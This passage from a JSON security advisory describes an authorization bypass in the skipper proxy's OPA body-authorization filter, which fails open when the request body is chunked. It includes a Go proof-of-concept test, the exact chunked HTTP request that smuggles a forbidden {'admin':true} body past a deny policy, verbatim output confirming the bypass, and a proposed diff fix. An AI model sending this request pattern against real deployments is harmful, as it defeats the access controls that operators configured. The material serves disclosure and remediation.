%q\n\t\t\t}\n\t\t},\n\t\t\"bundles\": {\n\t\t\t\"test\": {\n\t\t\t\t\"resource\": \"/bundles/{{ .bundlename }}\"\n\t\t\t}\n\t\t},\n\t\t\"labels\": {\n\t\t\t\"environment\": \"test\"\n\t\t},\n\t\t\"plugins\": {\n\t\t\t\"envoy_ext_authz_grpc\": {\n\t\t\t\t\"path\": \"envoy/authz/allow\",\n\t\t\t\t\"dry-run\": false\n\t\t\t}\n\t\t}\n\t}`, opaControlPlane.URL())\n\n\topts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) error{\n\t\topenpolicyagent.WithConfigTemplate(config),\n\t}\n\n\topaFactory, err := openpolicyagent.NewOpenPolicyAgentRegistry(\n\t\topenpolicyagent.WithTracer(tracingtest.NewTracer()),\n\t\topenpolicyagent.WithOpenPolicyAgentInstanceConfig(opts...),\n\t)\n\tif err != nil {\n\t\tt.Fatalf(\"registry: %v\", err)\n\t}\n\n\tfr := make(filters.Registry)\n\tfr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory))\n\tfr.Register(builtin.NewSetPath())\n\n\t// Route: every request runs opaAuthorizeRequestWithBody, then proxies to upstream.\n\tr := eskip.MustParse(fmt.Sprintf(\n\t\t`* -> opaAuthorizeRequestWithBody(\"test\") -> \"%s\"`, upstream.URL))\n\n\tproxy := proxytest.New(fr, r...)\n\tdefer proxy.Close()\n\n\thost := strings.TrimPrefix(proxy.URL, \"http://\")\n\n\ttype tc struct {\n\t\tname       string\n\t\twire       string\n\t\twantStatus int\n\t\twantUpstrm bool // whether upstream is expected to be reached\n\t}\n\n\tcases := []tc{\n\t\t{\n\t\t\tname: \"1: Content-Length benign body -> 200 ALLOW\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Content-Length: 15\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t`{\"admin\":false}`,\n\t\t\twantStatus: 200,\n\t\t\twantUpstrm: true,\n\t\t},\n\t\t{\n\t\t\tname: \"2: Content-Length admin body -> 403 DENY (negative control)\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Content-Length: 14\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t`{\"admin\":true}`,\n\t\t\twantStatus: 403,\n\t\t\twantUpstrm: false,\n\t\t},\n\t\t{\n\t\t\tname: \"3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)\",\n\t\t\twire: \"POST /priv HTTP/1.1\\r\\n\" +\n\t\t\t\t\"Host: \" + host + \"\\r\\n\" +\n\t\t\t\t\"Content-Type: application/json\\r\\n\" +\n\t\t\t\t\"Connection: close\\r\\n\" +\n\t\t\t\t\"Transfer-Encoding: chunked\\r\\n\" +\n\t\t\t\t\"\\r\\n\" +\n\t\t\t\t\"e\\r\\n\" +\n\t\t\t\t`{\"admin\":true}` + \"\\r\\n\" +\n\t\t\t\t\"0\\r\\n\" +\n\t\t\t\t\"\\r\\n\",\n\t\t\twantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200\n\t\t\twantUpstrm: true,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tmu.Lock()\n\t\tbefore := len(upstreamBodies)\n\t\tmu.Unlock()\n\n\t\tresp := rawRequest(t, host, c.wire)\n\n\t\tmu.Lock()\n\t\treached := len(upstreamBodies) > before\n\t\tvar lastBody string\n\t\tif reached {\n\t\t\tlastBody = upstreamBodies[len(upstreamBodies)-1]\n\t\t}\n\t\tmu.Unlock()\n\n\t\tt.Logf(\"[%s] status=%d upstreamReached=%v upstreamBody=%q\",\n\t\t\tc.name, resp.StatusCode, reached, lastBody)\n\n\t\tif resp.StatusCode != c.wantStatus {\n\t\t\tt.Errorf(\"[%s] status = %d, want %d\", c.name, resp.StatusCode, c.wantStatus)\n\t\t}\n\t\tif reached != c.wantUpstrm {\n\t\t\tt.Errorf(\"[%s] upstreamReached = %v, want %v\", c.name, reached, c.wantUpstrm)\n\t\t}\n\t}\n\n\t// Explicit bypass assertion: the chunked admin body MUST have reached\n\t// upstream verbatim despite the deny policy.\n\tmu.Lock()\n\tdefer mu.Unlock()\n\tbypassed := false\n\tfor _, b := range upstreamBodies {\n\t\tif b == `{\"admin\":true}` {\n\t\t\tbypassed = true\n\t\t}\n\t}\n\tif bypassed {\n\t\tt.Logf(\"BYPASS CONFIRMED: upstream received {\\\"admin\\\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)\")\n\t} else {\n\t\tt.Errorf(\"expected the chunked admin body to reach upstream (bypass), but it did not\")\n\t}\n}\n```\n\nThe three requests cover:\n\n| # | Wire framing | Body | Expected | Got |\n|---|--------------|------|----------|-----|\n| 1 | `Content-Length: 15` | `{\"admin\":false}` | 200 ALLOW | 200 (upstream reached) |\n| 2 | `Content-Length: 14` | `{\"admin\":true}` | 403 DENY  | 403 (OPA blocked) |\n| 3 | `Transfer-Encoding: chunked` | `{\"admin\":true}` | 403 DENY | **200 ALLOW (bypass)** |\n\nTest 3 wire bytes: `POST /priv HTTP/1.1\\r\\nHost: ...\\r\\nContent-Type:\napplication/json\\r\\nConnection: close\\r\\nTransfer-Encoding:\nchunked\\r\\n\\r\\ne\\r\\n{\"admin\":true}\\r\\n0\\r\\n\\r\\n`.\n\nRun command and verbatim output (`go version go1.26.3 darwin/arm64`,\n`github.com/open-policy-agent/opa v1.14.1` as pinned by skipper `v0.26.8`):\n\n```\n$ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/\n=== RUN   TestSkipperOPABypassPoC\n2026/05/28 14:43:47 route settings, reset, route: : * -> opaAuthorizeRequestWithBody(\"test\") -> \"http://127.0.0.1:57343\"\n2026/05/28 14:43:47 route settings received, id: 1\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"Starting OPA instance...\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \\\"\\\"} discovery:{NOT_READY \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \\\"\\\"} discovery:{OK \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\ntime=\"2026-05-28T14:43:47+08:00\" level=info msg=\"OPA instance health updated: healthy=true status=map[bundle:{OK \\\"\\\"} discovery:{OK \\\"\\\"} envoy_ext_authz_grpc:{OK \\\"\\\"}]\" bundle-name=test\n2026/05/28 14:43:47 route settings applied, id: 1\n    poc_test.go:211: [1: Content-Length benign body -> 200 ALLOW] status=200 upstreamReached=true upstreamBody=\"{\\\"admin\\\":false}\"\n    poc_test.go:211: [2: Content-Length admin body -> 403 DENY (negative control)] status=403 upstreamReached=false upstreamBody=\"\"\n    poc_test.go:211: [3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)] status=200 upstreamReached=true upstreamBody=\"{\\\"admin\\\":true}\"\n    poc_test.go:233: BYPASS CONFIRMED: upstream received {\"admin\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)\n--- PASS: TestSkipperOPABypassPoC (0.11s)\nPASS\nok  \tgithub.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest\t1.897s\n```\n\nTest 1 (Content-Length, benign body) is allowed and reaches upstream with\n`{\"admin\":false}`. Test 2 is the negative control: the same `{\"admin\":true}`\npayload sent with a `Content-Length` header is correctly DENIED (HTTP 403)\nand never reaches the upstream, proving the policy itself is sound. Test 3\nsends the identical forbidden body as `Transfer-Encoding: chunked`; OPA\nevaluates an empty `parsed_body`, the deny rule fails open, the proxy\nreturns HTTP 200, and the upstream receives the full `{\"admin\":true}`\npayload that the policy was configured to block.\n\n### Impact\n\nOperators relying on `opaAuthorizeRequestWithBody` for body-content\nauthorization are silently downgraded to header/path-only authorization\nfor any client that emits chunked or HTTP/2 requests. Concrete\nproduction patterns affected:\n\n- \"Deny when body contains admin/privileged field\" guardrails for\n  multi-tenant or role-stratified APIs;\n- \"Deny when content-moderation flag is present\" filters in front of\n  user-content endpoints;\n- \"Deny when payload schema version is forbidden\" gates for\n  deprecated-API shutdown;\n- \"Deny when SQL/command-injection-shaped string is present\" generic\n  body validators.\n\nIn every case the chunked attack arrives with the forbidden body\nintact, OPA evaluates against an empty document, the policy fails open,\nand the upstream receives the attacker payload that the deployment was\nspecifically configured to block. There is no log signal in OPA's\ndecision log distinguishing \"body was empty\" from \"client did not send\na body\".\n\nNote that the OPA decision log will record the request as ALLOWED with\n`raw_body` length 0, which complicates post-hoc forensic detection. The\nupstream's request log will show the full body, producing a confusing\nallow/observed asymmetry across systems.\n\nCVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` (8.5 HIGH). Scope is\nChanged because the failure crosses the trust boundary between the\nauthorization filter and the upstream service.\n\n### Suggested fix\n\n`filters/openpolicyagent/openpolicyagent.go`:\n\n```diff\n func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {\n \tbody := req.Body\n \n+\t// `req.ContentLength == -1` is set by net/http when the client uses\n+\t// Transfer-Encoding: chunked (HTTP/1.1) or omits content-length in\n+\t// HTTP/2 framing. Treat unknown-length bodies as up-to-max-bytes and\n+\t// drive fillBuffer with the policy cap instead of the negative\n+\t// sentinel, otherwise the fillBuffer loop short-circuits on its\n+\t// `len < expectedSize` predicate and OPA evaluates an empty body.\n+\texpectedSize := req.ContentLength\n+\tif expectedSize < 0 {\n+\t\texpectedSize = opa.maxBodyBytes\n+\t}\n+\n \tif body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse &&\n-\t\treq.ContentLength <= int64(opa.maxBodyBytes) {\n+\t\texpectedSize <= int64(opa.maxBodyBytes) {\n \n \t\twrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)\n \n-\t\trequestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)\n+\t\trequestedBodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes)\n \t\tif !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {\n \t\t\treturn req.Body, nil, func() {}, ErrTotalBodyBytesExceeded\n \t\t}\n \n-\t\trawBody, err := wrapper.fillBuffer(req.ContentLength)\n+\t\trawBody, err := wrapper.fillBuffer(expectedSize)\n \t\treturn wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err\n \t}\n \n \treturn req.Body, nil, func() {}, nil\n }\n```\n\nAfter the fix, `fillBuffer(maxBodyBytes)` reads chunked bodies up to\nthe configured cap. If the body exceeds the cap, the existing `Read()`\npath already returns the wrapped reader for downstream consumption,\nmatching the documented behaviour for over-cap requests today; the\noperator-configured `maxRequestBodyBytes` continues to be the single\nknob governing memory allocation.\n\nA regression test `TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed`\nin `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go`\nshould send a `Transfer-Encoding: chunked` request matching a\nblacklist policy and assert HTTP 403, and a same-payload Content-Length\nrequest to confirm parity.\n\n### Credit\n\nReported by tonghuaroot.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/zalando/skipper"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.26.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zalando/skipper/security/advisories/GHSA-659f-rgp5-w4wf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zalando/skipper"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-444" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-08T20:23:44Z",
    "nvd_published_at" : null
  }
}